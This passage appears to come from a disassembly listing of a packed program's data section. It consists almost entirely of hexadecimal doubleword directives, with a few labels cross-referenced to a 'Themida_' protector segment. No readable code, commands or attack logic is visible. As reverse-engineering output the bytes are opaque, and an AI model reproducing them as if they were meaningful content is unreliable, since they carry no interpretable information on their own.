0F009A391h, 0F198B764h, 0C28DF4F9h, 0D8E6030Ah dd 0D9949CCDh, 44B804h, 904198B0h, 8A93E48Ch, 143F148h dd 266F791Ch, 31BFF689h, 0DA920B02h, 8A603B17h, 8CC3370h dd 48B0218Fh, 91002703h, 0F9B6BB13h, 0BF3ECA3Ch, 18EF9470h dd 4BD906B8h, 18604874h, 89D6A6F3h, 6505D579h, 95168A7Ch dd 3101A803h, 4A300073h, 77625D87h, 48A4226Fh, 0FE920F02h dd 19331B17h, 7B41082h, 0A3D50092h, 46063104h, 0A90A66BFh dd 0C8DFD7FEh, 0C291F103h, 1C700093h, 5F547C64h, 0C8001E8Ah dd 0E3E2F329h, 0DFA3E0Ch, 72C1B998h, 0E1D0C458h, 0D8D081EDh dd 52074E90h, 80DD1C4Ch, 2560A6A7h, 6ABF5AE0h, 5CD148A4h dd 0A46D8214h, 4D7FC80Ch, 0D91F4448h, 70E96F78h, 9292060Fh dd 708F11BEh, 2480B3CBh, 494E6421h, 29DFA300h, 0F997674Bh dd 0F3070598h, 4020FF03h, 0B2683CF4h, 3D03AA2Fh, 0B5A1D453h dd 16A352h, 0B23FE121h, 0C0508F66h, 39295314h, 74210F8Ch dd 6C43D298h, 2EFA9E7h, 5F841681h, 45E09726h, 38C467ABh dd 0A023A6Ah, 409305F3h, 0AB79B2E8h, 50226D46h, 0B241E300h dd 3E407B11h, 70597F4Fh, 212760FFh, 9720B9B5h, 6355172Eh dd 0FC686400h, 1640D4h, 4E96D9BDh, 9A29C27Ah, 0A8A6AD18h dd 754D661h, 5F53AFF4h, 0E0A7600Dh, 2903C5DBh, 5BD75E70h dd 0A0E6808Bh, 9AD9C1F0h, 80A9AEA5h, 160CE040h, 71AB6DBAh dd 3BBF0076h, 684F3D98h, 0A705FA53h, 2B3C2EA0h, 0E86E9000h dd 81738AA5h, 0F3A424FBh, 0AF5C7E00h, 4698146Bh, 7D333B2Eh dd 0F5D60B86h, 6D75E128h, 0CAA69000h, 0E451FA88h, 5D662EB8h dd 68D930EAh, 0A673910Eh, 178464Ch, 0D6D71CB2h, 0E82471FAh dd 616A014Eh, 4604FC6Bh, 4514E4F7h, 89C04FE8h, 6602238h dd 4D2017Bh, 0D68D9C48h, 0C6715Eh, 35DBE644h, 0A5E31C03h dd 90D0DA80h, 22B75EC9h, 0F47E7312h, 6081C106h, 793984DBh dd 0ABD5061Ch, 713EF757h, 7C200B00h, 0D9583936h, 0FEA200A7h dd 0AAB8B542h, 0AE1F1A17h dd 56C0F4CEh, 0FF451277h, 7F8A3026h, 84CCB51h, 0B700EB73h dd 4422E309h, 1108AB8h, 9A37D3A4h, 8051FF23h, 990D681h dd 983282h, 6B491750h, 0AFAC66EBh, 0D7F16502h, 0A0760768h dd 4806D4ECh, 0FC557808h, 44E14D96h, 8153C607h, 469340E6h dd 8F061AADh, 0AB77EB31h, 0F4843039h, 285EF2A1h, 193F850Eh dd 0B9CA044h, 907A82Fh, 839F436Eh, 60CC8413h, 236BB26Ch dd 14115DABh, 0B243E500h, 0E38B3017h, 6C044E2Ch, 7C325B16h dd 0E4146579h, 0E8803385h, 0EC76BAh, 0C63D07FBh, 2E14A28h dd 9D99B91Eh, 0C069EF00h, 600C64C4h, 50071046h, 6000781Ah dd 9B9247E9h, 0FCAF40h, 0BE46CA7Dh, 7CC1F5BAh, 18068B00h dd 7EBFAD08h, 18CC6079h, 19C5AEEFh, 6C70F467h, 0C26558A1h dd 260058BCh, 41DE42D0h, 400EAA81h, 8CABB943h, 1DFF2117h dd 400F42A9h, 0B45B1B6Eh, 6D00152Eh, 5084D672h, 36883ECh dd 8B36B7C8h, 8005DD9Eh, 56F56B03h, 42CE3420h, 714123DCh dd 0D00D211h, 0CA7642A7h, 2600AFA0h, 7E2AFCB6h, 15B8F424h dd 98F8EE49h, 0C395501h, 0C50FD54Bh, 2B4080C5h, 0E75818Ah dd 0FB58C00Dh, 72421316h, 81E55F3Eh, 0A58C5EDCh, 5CE063A3h dd 4A240095h, 1801C7CAh, 6D03760Ch, 0D78067Ch, 42B5F9E2h dd 149A196h, 0AE4ECA87h, 0EEA840CFh, 81EDBE39h, 0E2C4EAE8h dd 0D450400Fh, 0A034581Dh, 331959CCh, 1A61C20Ch, 1000A970h dd 66926933h, 184006DEh, 0D80820EEh, 85007B14h, 0BB291D41h dd 912C7Fh, 0F07C61B1h, 767A4DD7h, 0FCBDB80Eh, 0F569E21Eh dd 0AAB0B052h, 41D80842h, 1964ABD1h, 42E30140h, 0AD014D4Bh dd 5A65F0C8h, 67ECBD21h, 2ED20066h, 41E27D8Dh, 2B528B7Ah dd 0EBBC10C0h, 0FF32197Ch, 20071827h, 660894Dh, 261B7AB8h dd 8688A021h, 99922840h, 2A90094h, 0B923648Eh, 2A006E49h dd 305AF01Ch, 7BF3EDh, 20F18525h, 729195Bh, 52012890h dd 761EDA3Dh, 78A8E738h, 2554658h, 41DB42ADh, 17494A9h dd 9C42E204h, 0C10214CAh, 0BCD9F83Fh, 310C9001h, 0DFCBF5C6h dd 63DE2C4Bh, 64E88601h, 0B03F56FDh, 0FCA849ECh, 0F749400Ch dd 311C0950h, 69C4236Ah, 584100CBh, 99F08FB0h, 8A1C7B5Fh dd 0E74064C6h, 0A2513739h, 7D8C036Ch, 8B7E5AC4h, 0F1002A9Ah dd 120B2E4Dh, 3039C1F6h, 22E1E8B0h, 9C001C92h, 0A3C9F940h dd 0F53A02h, 1D904B8Fh, 5B95E99Ah, 56FECB75h, 0CCB66E28h dd 0EF395761h, 2AD0AD82h, 432D0147h, 0E2CD914Eh, 0A9C981F9h dd 0A2C3483Ch, 122101FCh, 400E0FF3h, 4DB99264h, 0FA00B830h dd 10DC6878h, 13A50Bh, 0C87DBD36h, 4C2AE2C5h, 2871C48h dd 0CE4C120h, 6F98A047h, 2FDD45h, 7FAFA24Fh, 4B2288C2h dd 0B0D63F24h, 0AD58A08h, 80A0CD64h, 31596AB5h, 8DF45334h dd 2C169424h, 8BA2063Dh, 930BB95h, 0D4F09CC7h, 60E4CC04h dd 107F3312h, 0C81809CAh, 0A02801Eh, 4D7E2333h, 764A0600h dd 0ED7ADC2Ah, 663B2647h, 0A3CE0800h, 0C62CD400h, 90DE9D7Ch dd 79749124h, 521819h, 0F45C6841h, 29FB8B01h, 0CD7D7E18h dd 1C0BDD60h, 0F0DB9ECAh, 0B385D710h, 86038B00h, 23712241h dd 7AC817F6h, 0F8091843h, 7C3981E4h, 70644CB2h, 13C1C200h dd 0AF91B3B7h, 143D0A8Dh, 80FC0B5Ch, 0AA7FDAA7h, 87B0D12Ch dd 0BDF08454h, 0C5203C60h, 12A7FD2h, 30B12EC8h, 0D0CA81BBh dd 980E07h, 324950C1h, 108223D7h, 0F814961Eh, 4C45D84Ah dd 9E60D0E4h, 0ACA1D83Ch, 0D05A0DC0h, 2BD140DCh, 0DAE5E71Ah dd 0EA9060F9h, 7CF60924h, 0E8C330CCh, 1145630Ch, 0F490922Ch dd 850259A9h, 614BCD06h, 0AE8CA113h, 398BDCC9h, 3F0CE216h dd 0C5003839h, 0F3445F55h, 1B65E9Ah, 0D2B51F8Ch, 207FAB63h dd 80927C84h, 1F69E63Ch, 0FC24CF95h, 7563600h, 0A898D15h dd 2CBF1643h, 0C4DD1EF0h, 90F3ECD0h, 807B0FC4h, 620C0C98h dd 5174C121h, 0B221C0EAh, 75258052h, 0FF9AD007h, 6B00BB6Eh dd 0C0440FFCh, 45EA43A9h, 0CC04DC0Ch, 839DCD7Bh, 0A020ECC5h dd 40EAC4Dh, 6E2F41ADh, 123C8392h, 20B146B9h, 88A1CC30h dd 0D450422Dh, 11807F30h, 88827E66h, 56B680E7h, 0AA22C280h dd 49D8C500h, 0EF7C9536h, 180A2C19h, 67DF44A4h, 0CA7E3310h dd 51184401h, 2E507403h, 0F02F7028h, 0E496Ch, 9D24B3E5h dd 9083E832h, 98EEA600h, 46D642A8h, 0DA3E007Ch, 282F6F70h dd 0CD1FB093h, 7F002151h, 7DF2C70Fh, 53221DB6h, 0F76BC0C8h dd 82931EBEh, 0FD97BC0Dh, 0C06E386Eh, 2D87BDB0h, 9DCFF10Eh dd 0ABEF68h, 1AA47C0h, 0B3B9016Eh, 0C22B2834h, 0B4FCE0CEh dd 3374AB00h, 9FFA1541h, 27B6072Dh, 5785B32Bh, 10B536A9h dd 55A12860h, 0C34790C9h, 4EA0EF30h, 3BAA3EE0h, 16206B67h dd 2C560281h, 0E3483180h, 0CAB7C3B2h, 0AD2A530Ch, 0C0240832h dd 0B2BAEB21h, 9A77C492h, 0D9EDC803h, 0AB10D6A8h, 0F7FCABBDh dd 802C85B2h, 0F259CF88h, 70F0C072h, 7B7DE8EFh, 0B58E3903h dd 0D2AD0ABh, 29AFFC98h, 5883F0C9h, 9C188263h, 0C9C90032h dd 6C64C2C7h, 190068B4h, 27EC67B1h, 0F9F1572Eh, 0B87A6182h dd 988C1303h, 3464F060h, 94403049h, 1F44DF69h, 19D8350Fh dd 14E7C0A3h, 0A0CC46AEh, 806FE08Ch, 0A46083B3h, 0F726EFA1h dd 75F31816h, 0CBB2482Dh, 3D515720h, 0CC8F843h, 0F055AB8Eh dd 786FF302h, 14497395h, 0AE9C410h, 8A0C1BF2h, 833ED2Ch dd 3131C0FFh, 227AE908h, 0B588C005h, 0F44614A3h, 0C1359Ch dd 18921306h, 0FC7AEFDh, 3DB48600h, 0C22ED42Fh, 0EFCA497h dd 11AB0A8Fh, 73140240h, 1374F2ACh, 69218363h, 0B60CF01Fh dd 2F590737h, 1344A853h, 79F8DBB1h, 0D01F3518h, 1B54AFFAh dd 0ABC300A8h, 0CD58B764h, 30E72AF2h, 1917FCD8h, 582EB9F3h dd 48BDD1D5h, 0AA08E544h, 0C41AAB0Ch, 1E6C4745h, 0FF57EAE0h dd 0B9EE03CFh, 80F319BEh, 5B49217Ch, 68FC003Ch, 0D34720B2h dd 4C710088h, 0BFAD419Eh, 4276891Ch, 0B8727006h, 7D98FC1Fh dd 0DBFA1EE6h, 9053D4B6h, 0E30ABB23h, 523992AAh, 6A3C404Ch dd 96001C7Eh, 49B1D7C8h, 3AFC21Dh, 930F43BDh, 71D82B6Ch dd 35381BDDh, 40C978h, 61E68DA3h, 1474B360h, 902CB9E4h dd 0E5F5AE00h, 0B8FC7AC2h, 3DFF2F04h, 0C9272B1h, 0E50DC0C0h dd 8B730294h, 46A8F3B5h, 996EFC81h, 8B4553Dh, 0E7C006D4h dd 46B7CFB2h, 5F22EAh, 0FFB2BEEFh, 0D6A7DC5Ah, 8B57AF00h dd 0F4D21FA1h, 85F01FCh, 61A22D0Ah, 0EDC883DCh, 0F8163995h dd 73BAE1Ch, 58EF7AA8h, 90A739F1h, 781E421Dh, 4F02E844h dd 0FCE46C84h, 0F4A4607Ah, 4308CC6Ah, 7C0B3531h, 83AE896Ch dd 124727C5h, 0D46BF82h, 0CA50CD9Ch, 3C6C7B30h, 22C6FCE7h dd 73340049h, 0E805036Ch, 0EC28F3B6h, 972A9429h, 4400DC3Dh dd 760E365Fh, 2F04D0h, 0B4F4B08Ah, 0BC9ABDA6h, 0E0C7CB01h dd 0E7BB1E3Ch, 2D229836h, 3098FB08h, 0C29C0997h, 0B5C96C20h dd 3D241469h, 0C740E8D7h, 4BCACC03h, 344CFCDBh, 0D43A186Dh dd 63A2223h, 3897CFE9h, 7CD7DC9h, 4F15D9F4h, 0AED0F0D4h dd 0B17A735Dh, 4A578500h, 131C30C3h, 9CFC2Ah, 6E70293Fh dd 72ABC91Dh, 0F804E090h, 5D15B26h, 0EF7498C0h, 0FF8A0123h dd 14A2D384h, 5490DA70h, 0B6FCB2E8h, 20223246h, 0B207BFFEh dd 49C8FB9Ah, 0A7199692h, 60B03984h, 1A25CF9h, 0A52A527Eh dd 4003E063h, 0A775A8F0h dd 6DC22F12h, 6FF69842h, 48C6C7Ch, 94E6E90Ch, 29633Bh dd 0E9042D21h, 90A75571h, 68EC1977h, 9C1D6B0Ah, 0F2839837h dd 0C06A8897h, 7CFAE981h, 8C8214FDh, 220AE493h, 26AE2407h dd 6AF30F94h, 0A280474Fh, 4076DDD8h, 0E4EC3092h, 7B3A0900h dd 0BAB0325Bh, 29E800B8h, 0C61EC148h, 2405DFBCh, 2155BF6Fh dd 0AD238C41h, 0FBEC88E8h, 0C7470062h, 0F273A1E2h, 600A7F0h dd 0D9F6D5AEh, 0C17AF3DAh, 0D807FA79h, 83918614h, 7A88D3Ch dd 9310CCBFh, 0CD0E4066h, 1E01C314h, 0FE0BB8C7h, 0C520BF29h dd 353206A3h, 51B7F3D9h, 48E5CCADh, 7B428087h, 831EE040h dd 8836614Ch, 6296BE0Ch, 0A8C1004Ch, 99D5DEE3h, 155C0002h dd 93B6EEC7h, 0C6004FB4h, 0BE8F9EA2h, 3C8FFE4h, 99BF3DB5h dd 1BA6F67h, 0D57C9582h, 47C050CDh, 0ED53463h, 5DE6B026h dd 40B63D0Eh, 0FA6C28D0h, 60B913EEh, 84182179h, 0C894E806h dd 9A030BDh, 598F6BAAh, 0E3704C87h, 0EC89AB2Bh, 6F88401Eh dd 0C0015C5Bh, 0C66EB102h, 0A8BC287Fh, 9CBE0180h, 44272B26h dd 0AC860A14h, 0C5EC81Ch, 0D9819EA6h, 13E58B09h, 0FBF08042h dd 303EE7E4h, 0FD2130AFh, 72EF2CA0h, 0DFB128Ch, 67AE1441h dd 30321384h, 793026F2h, 0CA8B00E4h, 0B522C329h, 950A2834h dd 8059C7F8h, 56EB20Fh, 0D842FDC8h, 462AB3B0h, 0F8646D8h dd 2808E90Eh, 5C0CC4EBh, 80E9068Fh, 0F54AD943h, 0E64B0152h dd 89C07C27h, 0A4609657h, 3BD4D405h, 8D587881h, 29259A01h dd 8004435Ch, 0CFE0F7BCh, 0E3D000F1h, 18F9167Ah, 0E1F8BF2Eh dd 38BBD700h, 6EBAD213h, 0F17A3C01h, 1A2E3B80h, 125EFEE4h dd 0D603FA01h, 0CA14D3BCh, 3CA061F6h, 1C486181h, 0F4C63665h dd 29004710h, 9C916C2Bh, 480B5E2h, 0B0ED6EB3h, 2FF8A00Dh dd 8815012Eh, 28200604h, 7E4CE400h, 0AF16931Ch, 0F458C7A4h dd 8292B4E8h, 0E8471C87h, 381420F1h, 9D465220h, 8C090C50h dd 0CEB2EA04h, 0F238E2B7h, 0BB2C103h, 0B8B79B36h, 0EAFC79B9h dd 0C818629Fh, 0B04061B6h, 20E8D21Bh, 0F8B1E306h, 6F82207h dd 90995679h, 17389083h, 4EE2822Fh, 0A56EAD3Dh, 68C0EDD8h dd 259D19h, 1D78AEA7h, 49EBC22Dh, 0F64AB490h, 2510902Eh dd 0E743C06Fh, 1DB64087h, 0DABFFA65h, 8840B037h, 465CA1DFh dd 1F362208h, 82BC4F3Ch, 7D7558EDh, 91AD2448h, 3A260100h dd 8BCB5D53h, 1CE80612h, 0E04E0DC8h, 909D2E24h, 0F501B08h dd 0C00132D5h, 0E020FB7Dh, 0E23F52D7h, 54688E09h, 0F105CC39h dd 0DCA51764h, 804083Ch, 0C1B2E9C0h, 2CDA4BB7h, 0E0B7F1ACh dd 1467F93h, 362D3CAEh, 8696AF4Ch, 755C2821h, 988F208h dd 0FA5FB47Ch, 0C006ECA4h, 0B10C84BCh, 0D5D22E28h, 0A0A997FAh dd 181060E8h, 6C86048Ch, 626AFCE6h, 80847146h, 6B085DBAh dd 19C14276h, 0BC1140B8h, 0B91AC0h, 6295FAE6h, 6F507AF1h dd 59D3D70Fh, 0DDA842BBh, 0C19C824Ch, 211C5014h, 0C78077E1h dd 0D2FCCB6Dh, 47448652h, 6C7F3B38h, 0AED49984h, 2C90C21Bh dd 6EE5E220h, 60135CFCh, 3C8C5CBCh, 0B480AE50h, 0FADF98EDh dd 164E63B7h, 12F31801h, 0A86346A5h, 553049B2h, 0F5800EFh dd 0B421ACC7h, 0F3377886h, 0B370802Bh, 0C24A6D1h, 44AFEB35h dd 22881A70h, 5AC62AEEh, 0DD5B05F0h, 98C12ED1h, 0AB390998h dd 12BA1010h, 688038C8h, 0D01BAAE2h, 0C8AB12B5h, 0FCCC103Eh dd 28C43E8h, 6FD9FA6Eh, 4458D0F3h, 48D43229h, 1184659h dd 0E4EF0F00h, 0D0F67217h, 5EB851h, 2E8C4514h, 0AB996E0Ah dd 0E6C044E1h, 0C466E044h, 0BCF10026h, 0A7F23D76h, 0F8019983h dd 7C48045Eh, 31805857h, 0BC17EC9h, 7803F366h, 0B5CA2B88h dd 7AADC059h, 0FF6700AFh, 0F29D2D0Dh, 4C9B7F6Fh, 0E5E90701h dd 0DC383394h, 0E9A830B3h, 0F6E0C81Bh, 507BB608h, 0B1190431h dd 9F24C181h, 0DAD8004Ch, 1CE432F3h, 0B8612420h, 7C7C3CFFh dd 27F929F0h, 298BA040h, 0D20D007Eh, 12CFE3F4h, 0F04C075Ch dd 262B3E86h, 7A60E0B2h, 0E31C8156h, 858A0610h, 214BFD27h dd 53DBB0B8h, 121E1F8h, 421B37CAh, 0F4DA502Ch, 8E03229Ch dd 4C2AF4CBh, 0BFA5F070h, 4D01FA95h, 0F449A04Dh, 0DC07DC8h dd 5C94E3E9h, 2EE02003h, 44E2E905h, 0A5F11300h, 45A63F4Eh dd 0B16A0293h, 26EADEB3h, 0C6BE2C97h, 63AF3700h, 0C8351206h dd 204DF8F0h, 0ADCE05F8h, 0D8040CF3h, 3E03308Bh, 41046DB2h dd 70AC64F0h, 28028C8Ch, 1E10AB3Dh, 0DFFDAE17h, 0C8B9C2CCh dd 5B40B795h, 0B4FC0614h, 0E2EC4750h, 0C0027743h, 5AFCE86Dh dd 3902C847h, 4C826C78h, 93121494h, 2EA584BAh, 6F011058h dd 19269EC0h, 114C61E0h, 8C26F8A8h, 3800F07Fh, 0FDB32891h dd 0D42EBD3Dh, 44106821h, 0B1050290h, 4053E7C3h, 18B9E508h dd 0D001CBA9h, 4B9F5EFh, 0CD182979h, 4FB9A512h, 932B3300h dd 19525395h, 5873FBB7h, 2E3CFC10h, 0ADD07A04h, 80E0C4D9h dd 9184132Ch, 23383A45h, 0FB7C0249h, 0E4C0A806h, 56F819A4h dd 55C09309h, 0C47C1432h, 0A1582918h, 72D81DA8h, 6EFFB1A8h dd 4504520Ch, 3D279702h, 4788ECCEh, 96F34DC0h, 0F4F93A4Fh dd 0C055B28Fh, 9C65B68Fh, 88188F32h, 2794C04Ah, 84030349h dd 766FDE3Eh, 0BD210041h, 0A96E194Bh, 740048EEh, 99323DEDh dd 515851E1h, 942034EBh, 0CE2489Fh, 96C6BB5h, 639736D6h dd 5D65E0D0h, 90F45C4Ch, 11703F24h, 0ABD40059h, 52B84F0Eh dd 997E1C12h, 0F22801Bh, 0B4858293h, 0B3060092h, 0B79BA46Eh dd 40954F11h, 0F115357Ch, 5F004037h, 9D85E036h, 586455D2h dd 0C0239807h, 8BAAE00Fh, 659409ABh, 1DBF3878h, 0F1EC1607h dd 582E2001h, 55305EA8h, 518AB15Dh, 0A2A600A7h, 1AE61445h dd 0AB03B098h, 0A0A31931h, 38F0E929h, 4BE22063h, 3A3F30h dd 810EFE08h, 0ADB1848Ch, 0D2FA8E04h, 609AB70Ah, 306F04C4h dd 97F89ABh, 55F7B3B5h, 0B40E9009h, 0E10031C8h, 26010EB6h dd 94B09972h, 0BE23A436h, 0DAAE601h, 8018E2ABh, 0FC1B6D88h dd 0C0570015h, 7AEACB0Dh, 170B5240h, 4270F130h, 8F9900ECh dd 2D6F421h, 0A55FA3Eh, 4440BB0Fh, 9730E285h, 5D4A513Bh dd 0DCFC00D1h, 4EBB6121h, 700EDADh, 51A9CE73h, 0B4C033AAh dd 0A5F341DCh, 92BCC435h, 2483D000h, 0C8C25D69h, 25B100A3h dd 1CD99442h, 0CC59E7C0h, 81F900A0h, 0F8353112h, 885F43C3h dd 0E911C179h, 33E3E507h, 9328090h, 0C074A5E9h, 0A0ED0490h dd 0B63D86E0h, 7677893Eh, 3D0C207Ch, 2B1D55Ch, 0ABA358DEh db 0E0h, 4Bh word_507B52 dw 9852h ; DATA XREF: Themida_:0056198Do db 0A0h, 0E9h word_507B56 dw 777Fh ; DATA XREF: Themida_:00561992o dd 1FBCE600h, 0ABF068CDh, 13074D4h, 0EB159E4Ah, 2CDA7B48h dd 0E88B96BCh, 27C04CC8h, 1A5A2A7h, 0B6792C1Eh, 689120A3h dd 52C85944h, 3002F238h, 1B0B82AEh, 0E0D7DBB1h, 10FC6C68h dd 4C6A8BAFh, 3052300h, 0B7C2B2E6h, 7788E95h, 20B2BDEEh dd 6CB1F10h, 9C2358DBh, 28C21F8h, 0C092F031h, 0F8832391h dd 21395754h, 0EE20800Bh, 1249FC0Ch, 0AE4006E0h, 0C03EC4DEh dd 11106321h, 0B2E58004h, 0BCBAB685h, 0BCED5834h, 0D496B207h dd 6654195Ch, 0D4F774A2h, 0F56C306Fh, 99190123h, 0A3B27310h dd 93EC64DBh, 0E8FDB024h, 196882BBh, 542CF9F3h, 6100F40Ch dd 53E8510h, 94B0756Bh, 957E4360h, 0B428D902h, 6169AE1Bh dd 7D102914h, 0C809FAFCh, 637C59BDh, 0F1FDE0ACh, 0D99260E6h dd 0D334B1D2h, 0F00B955Eh, 9C741058h, 4F49C03Fh, 25DEE2Bh dd 0D3AFE700h, 68DE07A2h, 0EDC2E642h, 48FB6C70h, 8705307Ah dd 0B120A1A8h, 0F2003278h, 0AFE33039h, 0D034FF0Bh, 0B21CA1B8h dd 682C7B75h, 38E8A490h, 7450988Ch, 0FFC5EB5h, 0A3420F88h dd 0DC85251Fh, 0B5D88875h, 3176B603h, 0D351A674h, 0A5BFE0A9h dd 0E64013Bh, 0BA0DB2C6h, 4B7C2504h, 0C021C840h, 0D0976C27h dd 2000FDE6h, 593FAF7Ch, 0B151EEF2h, 61ECD32Ch, 2AF0F823h dd 639439B5h, 1ED3A38Bh, 59473010h, 3C60B481h, 0F093814Eh dd 19C251FFh, 214A77CBh, 782B40D0h, 8C44EC58h, 0B4FB9F00h dd 0EB90A63Eh, 3C774974h, 0C9C51003h, 65EB6C62h, 0F0ED3E81h dd 97954A7Ch, 823B91DCh, 5C3254D5h, 801680F0h, 0F897B9EBh dd 12C03749h, 0CCB25B2h, 17C023C8h, 257C055h, 0FE5396D7h dd 28E725B4h, 0B9604844h, 8100ADC3h, 0ABA665A8h, 9E5871Dh dd 37F08BB6h, 0E5564424h, 3D94C838h, 1F7C601h, 9830861Ch dd 5E64CDCh, 0B03940C3h, 9EDC801Dh, 0CE067E79h, 2B7083B7h dd 0BA144C48h, 2C618B25h, 0BCB42C2Fh, 24008C4Ch, 0FFBD9DB6h dd 5597C3D3h, 0D7C08C71h, 76402E58h, 0CD9D0910h, 14003044h dd 9AA6668Ch, 10FC024h, 0F702C4C8h, 826CD93Dh, 0CD869341h dd 0C58849B5h, 7C8251FCh, 133C9850h, 2215FC68h, 0C0C4570Ch dd 619BB300h, 0BB0E65E5h, 0A81B000Dh, 578933DAh, 1800627Dh dd 0B5C8EB55h, 0BE860C54h, 20465E0Ch, 877B6802h, 10603443h dd 0C082947Ch, 996F9C14h, 0C9348268h, 0B0845ACBh, 7648DD99h dd 4011A074h, 28F0B88Bh, 3596E876h, 0E099AC3Eh, 3140674Ch dd 9600B82Eh, 26465CF4h, 0E193F200h, 88F6EB02h, 53C7D600h dd 77B3B5A1h, 24D8987Dh, 80003F75h, 33AE027Ah, 1A26E440h dd 0D0027EEh, 776DB871h, 0B12F1798h, 10C43A2Eh, 16C06EFFh dd 0AF9F7F1Bh, 0F03E6701h, 2EFAC3DCh, 5FBC4038h, 46032E8Ch dd 5CFC2060h, 0FF100886h, 93080912h, 18646Ch, 1C16F67Bh dd 22799144h, 0DAE55E00h, 0BFC78C2Ah, 750D0924h, 0C0602C8Dh dd 0F000FBA4h, 0A1B7A9C0h, 3D182B27h, 0C54BFAD2h, 0F200A2A0h dd 4EA33044h, 917A0503h, 0DAABB4DAh, 46C5E81h, 24FD27B9h dd 0DA03CE6h, 4801154Fh, 0FA324A9Bh, 0D8FEDFB7h, 44A317E4h dd 0DA94D31Eh, 57ADD100h, 0FB47C73Dh, 61A0A0FEh, 4C8212FCh dd 0EDEC50C0h, 83B38B02h, 548931B4h, 2D09C0D2h, 5288F8A9h dd 188B20CCh, 2D60608Dh, 5883BC4h, 9CD1A44Fh, 269C403Ah dd 664911EEh, 1BE43F00h, 91D25248h, 80EF00A2h, 0D07E6805h dd 0D0B6DCFAh, 0B5CE0260h, 0B7FC273Dh, 0F80D8048h, 0F9E7BC00h dd 58790FB4h, 2F6F209Ah, 1B7E1100h, 0FD3D05C0h, 80763E5h dd 0C794ACD1h, 0AFC380B9h, 98095322h, 472B5BDh, 0E65BFF4h dd 0AA4B0EF2h, 769300C5h, 6DDC0403h, 0B03EC166h, 0B570472Bh dd 195E47Bh, 0FE1B9FFAh, 6A4EB0B9h, 20482360h, 404B5BC9h dd 0FCF1BDF8h, 0B100ED72h, 0A3F21F99h, 2D33D02Eh, 0A0187ECEh dd 5926A893h, 0FF403851h, 16B6FEA5h, 413304F3h, 0BBA19354h dd 5C133A40h, 5C58548Ah, 2C8C01B8h, 6853FBh, 0D610F881h dd 0BC099FC2h, 0A0FA980Fh, 64C0FF20h, 75770067h, 0C7A436DCh dd 60FBEABh, 8B8907EFh, 8B3060BCh, 6FD624CBh, 1ABB0884h dd 4549A821h, 604D64CCh, 1400929h, 588D7E93h, 143883B6h dd 5BE1481h, 40B25503h, 0FC1DEC44h, 39C7CA0Fh, 2C75F3B5h dd 4CB22CA3h, 0E850FD30h, 0F2B2CBEh, 0ABBC4F0h, 0C140281Bh dd 21FCE56Dh, 509152C2h, 6C793200h, 54D1918Dh, 275C6901h dd 0D4C54E9Ch, 7FC4D7FDh, 288900Dh, 2417087Eh, 8C40E678h dd 18B43556h, 0CB634780h, 0FF60434Eh, 0BE072C6h, 0F2B34856h dd 2E45845h, 5C851E60h, 1CAC3D28h, 0BA08C505h, 90F72772h dd 24B83448h, 68A0018Ch, 1BA912F3h, 95FAE4DDh, 0D9691460h dd 1E38894h, 0E7DF31B8h, 0E05599EFh, 0B095EECh, 0EE4D8EBAh dd 708099FCh, 1866F26h, 7C946D36h, 24A346E3h, 878053A4h dd 2CD24C7Fh, 248C83BCh, 13323B5h, 5A1B518Eh, 73EC6098h dd 9848404Fh, 0E90AC07Ah, 0B4B94E4h, 2B072C8Bh, 40BAE902h dd 78530F73h, 6803995h, 3BBCE868h, 0E589048Ch, 0D1D89936h dd 0E1421724h, 24486CF6h, 82BC2040h, 9E58C437h, 0EB905CF5h dd 7040146Dh, 7A85972Ah, 2D493C2h, 49A86B08h, 0CC044454h dd 40C13D29h, 87CE3B64h, 0FD8C7A0h, 0CB038193h, 105F50DBh dd 0AE6A1C30h, 80A650B0h, 27170738h, 0D0A02F7Dh, 8A23ED07h dd 84AC6109h, 0E450E53Dh, 658B625Ch, 71F4295Ch, 0E7ED1948h dd 685EB042h, 933BEDB0h, 60EC7364h, 2CE8EE58h, 0BC016BBh dd 3458EBB7h, 14247C12h, 25B11CB3h, 1C00C6Fh, 295E5603h dd 24319C22h, 0EAE2E320h, 9033AD0Fh, 67B9C0E6h, 17982217h dd 80F4F3B7h, 0B29B19D8h, 0C6F41F51h, 3C5C74EAh, 0D5C465Eh dd 99F459C5h, 0BA7CBFF0h, 58A48010h, 9593253Eh, 9FF7ECE8h dd 9EE8CF01h, 16E6C2ADh, 0B49830h, 0E5840E3Fh, 0DF09A5BFh dd 1C81F0Bh, 0A2AC2153h, 30244427h, 66B31289h, 7DD42FF2h dd 0A97C008Ch, 37ACA71Fh, 2D5FBFF8h, 70DDB049h, 0DAF64AB0h dd 24F7C0E0h, 5A59BC74h, 0FA184395h, 4A131DF6h, 0B0A2168Bh dd 233049E2h, 40E10E87h, 0A8E1A994h, 70BCBEB8h, 6B613F7Ch dd 7977E5D4h, 5AC17180h, 0E74C9E51h, 9CED0F07h, 0C265B924h dd 4C05C813h, 0C425AF3Dh, 0B47ED480h, 0D2C22D41h, 328F0C35h dd 0F88204DBh, 0B9A3FCB4h, 0A15504D4h, 0AFFC41E4h, 463F12BFh dd 312A4C58h, 5780ED0Eh, 1CE153F8h, 0B46104E7h, 0D1459FC3h dd 745DC8F4h, 97B5D5B0h, 808211C4h, 0FB666D48h, 0DC6901B3h dd 839F2240h, 0DC452F01h, 94B92970h, 0FE9C980h, 0ED0087B6h dd 0B46EDF22h, 968AA8F3h, 5268880Ch, 742DB500h, 0B4DF6BB0h dd 0A8990788h, 7C46A09Bh, 819FFDA4h, 9A913B38h, 0C0088B21h dd 58AF0113h, 2E47AE2Ch, 0CA0021B3h, 106F5861h, 0B96DA30Ah dd 0E9512FCh, 90586Ch, 64A7E35Ch, 1245241Fh, 427B8D2Dh dd 0D28F874Ch, 0AF5840D3h, 39B70B75h, 0F41B86B1h, 0AA5B90A0h dd 0DC26FD09h, 72061BAh, 34B86839h, 0CE398B00h, 35649310h dd 13B4EC9h, 21FAD2A8h, 0F06E6A0Eh, 8EFC0300h, 0D01161A8h dd 85E3BC07h, 1029B16Bh, 28C099ECh, 0CC75B6h, 59B343A7h dd 0F4F0FDC6h, 5A1D4C94h, 75776EC0h, 402F1Ch, 7271ABB7h dd 9A3F5F3Ch, 0C260A870h, 8DDBB040h, 3358C0BAh, 7197AB7Eh dd 0B6086209h, 0E4406567h, 321F6047h, 0ABBB12A9h, 3C84209Ch dd 3A715717h, 0C7D39400h dword_508358 dd 9197C6F4h, 0CE8D3BE3h, 0B40A4382h, 0A0DECA9Ch, 1D80467Ch dd 44C371A4h, 881ABE7Ch, 20E4164h, 8923A7D0h, 8C594997h dd 770A8F3Fh, 1FD82048h, 1FE3BD2h, 174A4609h, 